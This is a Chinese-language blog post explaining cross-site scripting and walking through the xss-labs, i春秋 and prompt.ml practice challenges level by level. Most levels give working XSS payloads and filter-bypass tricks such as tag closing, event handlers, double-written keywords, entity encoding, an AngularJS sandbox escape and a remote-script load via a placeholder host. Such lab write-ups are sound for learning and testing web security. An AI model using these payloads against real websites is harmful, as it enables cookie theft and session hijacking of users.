XSS攻击及防御总结和各平台通关思路

Posted 南岸青栀*

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS攻击及防御总结和各平台通关思路相关的知识,希望对你有一定的参考价值。

文章目录

XSS原理

跨站脚本攻击XSS(cross site scripting)。XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采用cookie窃取、会话劫持、钓鱼欺骗等各种攻击。
漏洞存在的主要原因:

  • 参数输入未经过安全过滤
  • 恶意脚本被输出到网页
  • 用户的浏览器执行了恶意脚本

XSS漏洞分类

1.反射型XSS

也称非持久型、参数型跨站脚本。主要用于恶意脚本附加在URL地址的参数中。他需要欺骗用户点击链接才能出发XSS,一般容易出现搜索页面、输入框、URL参数处。反射型XSS大多数用来盗取用户的cookie信息。

2.存储型XSS

存储型XSS写进数据库或文件等可以永久保存数据的介质中,存储型XSS通常发生在留言板等地方。在留言板位置留言将恶意代码写进数据库中。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。

3.基于DOM的XSS

DOM-XSS是基于文档对象模型的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,也属于反射型xss

XSS的危害

针对用户:窃取cookie,劫持会话,网络钓鱼,放马挖矿
针对WEB服务:劫持后台,篡改页面,传播蠕虫,内网扫描

XSS漏洞的黑盒测试

尽可能找到一切用户可控并且能够输出在页面的代码中的地方,比如下面这些:

  • URL的每个参数、URL本身、表单、搜索框、常见业务场景
  • 重灾区:评论区、留言区、个人信息、订单信息等
  • 针对型:站内信、网页即时通讯、私信、意见反馈
  • 存在风险:是搜索框,当前目录、图片属性等

XSS漏洞的白盒测试

关于XSS的代码升级主要就是从接收参数的地方和一些关键词入手。
php中常用的接收参数的方法有 G E T 、 GET、 GETPOST、$REQUET等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,查看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,然后能否控制,如果从数据库中取得,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等

xss-labs

预备插件 Hackbar

可以在Chrome商店进行下载

level 1

简单构造脚本

http://localhost/xss-labs/level1.php?name=test

查看源代码

Level-2

预备知识:

htmlspecialchars():把预定义的字符转换为html实体
参数:

  • ENT_COMPAT - 默认。仅编码双引号。
  • ENT_QUOTES - 编码双引号和单引号。
  • ENT_NOQUOTES - 不编码任何引号。
    可转换实体
  • & (和号)成为 &
  • " (双引号)成为 "
  • ’ (单引号)成为 ’
  • < (小于)成为 <
  • `> (大于)成为 >

尝试与第一关相同的方式进行注入,发现并没有弹窗


查看网页源代码,发现<``>被编码成html字符实体。猜测在服务器端使用了htmlspecialchars()函数对keyword参数的值进行了处理,那首先将标签闭合,然后再写入恶意代码 or 在标签内部

http://localhost/xss-labs/level2.php?keyword="><script>alert(1)</script>&submit=%E6%90%9C%E7%B4%A2

源码查看

htmlspecialchars()

上图源码可知,使用get方式传递到服务器端的keyword参数的值赋值给str变量,然后使用htmlspecialchars()函数对变量进行处理后显示到网页上。但是直接将变量值插入到input标签的value属性值中,因为并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击

Level-3

正常尝试,发现尖括号被过滤掉。

巧用input标签

http://localhost/xss-labs/level3.php?keyword=’ οnclick='alert(1)&submit=%E6%90%9C%E7%B4%A2

源码查看

Level-4

简单构建点击事件

http://localhost/xss-labs/level4.php?keyword=" οnclick="alert(1)

查看源码

Level-5

正常测试:发现展现出来后script,oneclick加上下划线


构造一个a标签,成功绕过

http://localhost/xss-labs/level5.php?keyword=" ><a href=javascript:alert(1)>xss</a>//

查看源码


发现函数将<script 替换为<scri_pt 、on替换为o_n,这样我们的script不能使用,input的点击事件也不能使用。

Level-6

正常测试:

http://localhost/xss-labs/level6.php?keyword=<ScriPt>alert(1)</ScRIpt>

可以发现大小写没有过滤,那就简单了

使用大小写绕过过滤

http://localhost/xss-labs/level6.php?keyword=" oNclick="alert(1)

Level-7

正常测试:发现有大小写过滤了,然后将script替换为空白,则可以尝试双写script

http://localhost/xss-labs/level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt>

查看源代码


首先将传入的参数进行转小写操作,然后对其中的特殊字符进行替换,替换为空白,这样就会双写就会将script拼接出来。

Level-8

实体编码,通过

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

查看源代码


可以看出过滤的常见的敏感标签,那么就可以从实体编码入手,将javascript:alert(1)转换为实体编码,绕过过滤。

Level-9

基本测试:发现能使用的关键字都被过滤掉了

查看源码后发现,除了8关的过滤之外,还存在判断输入中是否存在http://

所以尝试脚本后面加上http://,结果发现自己忘记还过滤了script,那么关键字使用html实体编码


实体编码关键字绕过成功

Level-10

正常测试:发现将<>过滤,并且将输出的结果放在了h2标签内,感觉没戏了,然后看到有隐藏的input标签,查看是否存在


发现t_sort也是可以传递参数的,转向t_sort 的input标签,

http://localhost/xss-labs/level10.php?keyword=xxx&&t_sort=" οnclick="alert(1) " type="text

源码查看


发现t_sort参数只是进行简单的<>过滤,也发现把输出的内容放在标签内,并且对敏感字进行转义杜绝大部分恶意代码。

Level-11

查看源代码;发现PHP $_SERVER[‘HTTP_REFERER’]

使用 $_SERVER[‘HTTP_REFERER’] 将很容易得到链接到当前页面的前一页面的地址。然后使用burpsite抓包增加referer参数

使用burpsuite进行抓包,增加referer参数进行构造

Level-12

感觉和第11关差不多,看一下网页源码

感觉可以在user-agent上做文章,抓包改一下



可以看到构造成功,成功进入下一关

查看源码


可以看见没有对user-agent的参数进行过滤,出现恶意代码;

Level-13

查看网页源代码,看到四个隐藏标签,然后尝试

http://10.4.209.122/xss-labs/level13.php?t_link=1&t_history=1&t_sort=1&t_cook=1

burpsuite抓包,发现cookie值可以构建错误代码

构建恶意语句


查看源代码


从源代码中可以看出,在读取用户 s t r 11 = str11= str11=_COOKIE[“user”];的时候仅仅做了简单的<过滤,从而导致恶意代码构造成功。

Level-14

14关现在

Level-15

预备知识:angular js

先了解一下其具体的用法。

  • 1、ng-include 指令用于包含外部的 HTML文件。
  • 2、包含的内容将作为指定元素的子节点。
  • 3、ng-include 属性的值可以是一个表达式,返回一个文件名。
  • 4、默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:

  • 1.ng-include,如果单纯指定地址,必须要加引号
  • 2.ng-include,加载外部html,script标签中的内容不执行
  • 3.ng-include,加载外部html中含有style标签样式可以识别

了解了该指令的大致用法之后,我们就不得不思考一下,既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件了

注:angular js已经不支持在ng-include
里加载script标签https://github.com/angular/angular.js/issues/3756


可以看到成功触发弹窗了,而且在页面响应的下方还可以看到level1的页面。

查看源代码

Level-16

简单测试之后可以看到关键字script以及/符号、空格都被编码成同样的空格字符实体了。这样也没办法去闭合前面的标签了。所以先看看源文件的代码

查看源码

Level-17、Level-18、Level-19、Level-20

使用的是flash,现在已经被摒弃,所以就不进行实验了

i春秋 XSS闯关

Less-1

第一关估计就是简单的恶意脚本就可以


Less-2

进行正常测试,发现参数出现在脚本中,所以第一反应就是尝试逃逸出来,然后执行alert(1)

上才艺

http://eci-2zehd3kmbv84ufh9o4bk.cloudeci1.ichunqiu.com/level2?username=’;alert(1);//

Less-3

正常测试,发现和less2差不多

尝试使用Less2方法进行构造,结果发现单引号被转义

尝试双写单引号,绕过成功

看其他选手的题解,可以使用img标签构造恶意代码

http://eci-2zehd3kmbv84ufh9o4bk.cloudeci1.ichunqiu.com/level3?username=%3Cimg%20src=xxx%20οnerrοr=alert(1)%3E

Less-4

首先查看网页源代码

<script type="text/javascript">
    	var time = 10;
    	var jumpUrl;
    	if(getQueryVariable('jumpUrl') == false){
    		jumpUrl = location.href;
    	}else{
    		jumpUrl = getQueryVariable('jumpUrl');
    	}
    	setTimeout(jump,1000,time);
    	function jump(time){
    		if(time == 0){
    			location.href = jumpUrl;
    		}else{
    			time = time - 1 ;
    			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
    			setTimeout(jump,1000,time);
    		}
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>

测试jumpUrl参数,发现

构造恶意代码

Less-5

首先查看网页源代码,用出我的抠脚JS水平,大概解读出autosubmit参数,然后加上action就可以了。

<script type="text/javascript">
    	if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>

构造恶意代码

http://eci-2ze3t1nn5qtlrf73i9ki.cloudeci1.ichunqiu.com/level5?autosubmit=123&action=javascript:alert(1)


OK,继续下一关

Less-6

着实有点难啊

正常测试


这。。。还放在了标签里面,并且对敏感字符做了实体编码。不会不会
查资料,原来这道题考的是AngularJS,还不会。。https://nosec.org/home/detail/4153.html

构造一个payload:

{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(1)//’);}}

最终拿到flag

prompt(1) 平台

http://prompt.ml/1

Less-0

简单构建恶意代码

Less-1

首先看到源代码,对<>以及内容进行空格替换。 那就要利用html会有一个自动的纠错的功能了,这里我使用了img标签

通过img标签的onerror进行构造恶意代码

通过


通过svg标签加载prompt(1)

Less-2

查看源码发现过滤了=(为空格

尝试使用实体编码绕过,使用svg标签可以加载实体编码

Less-3

查看源代码可以看见对->进行了过滤,主要思路就是要逃出注释区域

Less-4


没有做出来,网上教程是加载本地js文件,但是我的没反应

Less-5

从过滤函数中可以看出,过滤掉了on和> focus,并且是gi,全局匹配,忽略大小写。但是没有忽略换行,所以可以换行,来绕过过滤函数

Less-6


分析源码可以看到,大概是由#分割,前面赋给form.action,使method=post,后面以json格式赋给formdata,把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交,所以这里使用js伪协议。由于允许我们创建我们自己的输入,这些输入可以用来破坏窗体的action属性。由于DOM破坏,document.forms [0] .action将返回我们新创建的输入字段而不是实际的action属性,因此可以执行JavaScript。

Less-7

查看源码,发现#是用来隔离多个input标签的,所以可以使用注释来巧妙构建恶意代码

使用script标签

使用svg标签

Less-8

可以看出我们一定要逃离这一行,但是\\r\\n都被替换掉了,所以就想到使用转义进行替换。

尝试了一下


这样肯定是不行的,然后打开网页终端,在终端里面使用换行或换段落的转义字符,发现是可以的。

上才艺

\\u2028,是Unicode中的行分隔符。
\\u2029,是Unicode中的段落分隔符。
–> 在 js 中可当注释使用

Less-9


正则简单,就是将<后面的所有字符前全部加_,也就是将<script>这样的标签替换为<_SCRIPT>,toUpperCase()不仅转换英文字母,也转换一些Unicode字符,比如将ſ传入就可以转换为S,这样就可以绕过。
直接构造<ſcript>prompt(1)</ſcript>不行,因为javascript对大小写敏感,,不识别PROMPT(1),所以构造的payload为<ſcript/ſrc="xxx/1.js"></ſcript>,经过转换后就成了<h1><SCRIPT/SRC="HTTP://xxx/1.JS"></SCRIPT></h1>,成功加载远程的js脚本。

Less-A

只是进行了html编码,然后将prompt替换成alert,由于还将’替换为空,所以很好绕过

注:encodeURIComponent()不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ .
! ~ * ’ ( ) 。其他字符(比如 :;/?:@&=+$,#这些用于分隔 URI
组件的标点符号),都是由一个或多个十六进制的转义序列替换的。

XSS攻击及防御

6.XSS攻击方式及防御措施

XSS攻击及防御

Web 攻击之 XSS 攻击及防御策略

Web 攻击之 XSS 攻击及防御策略

XSS攻击原理及防御措施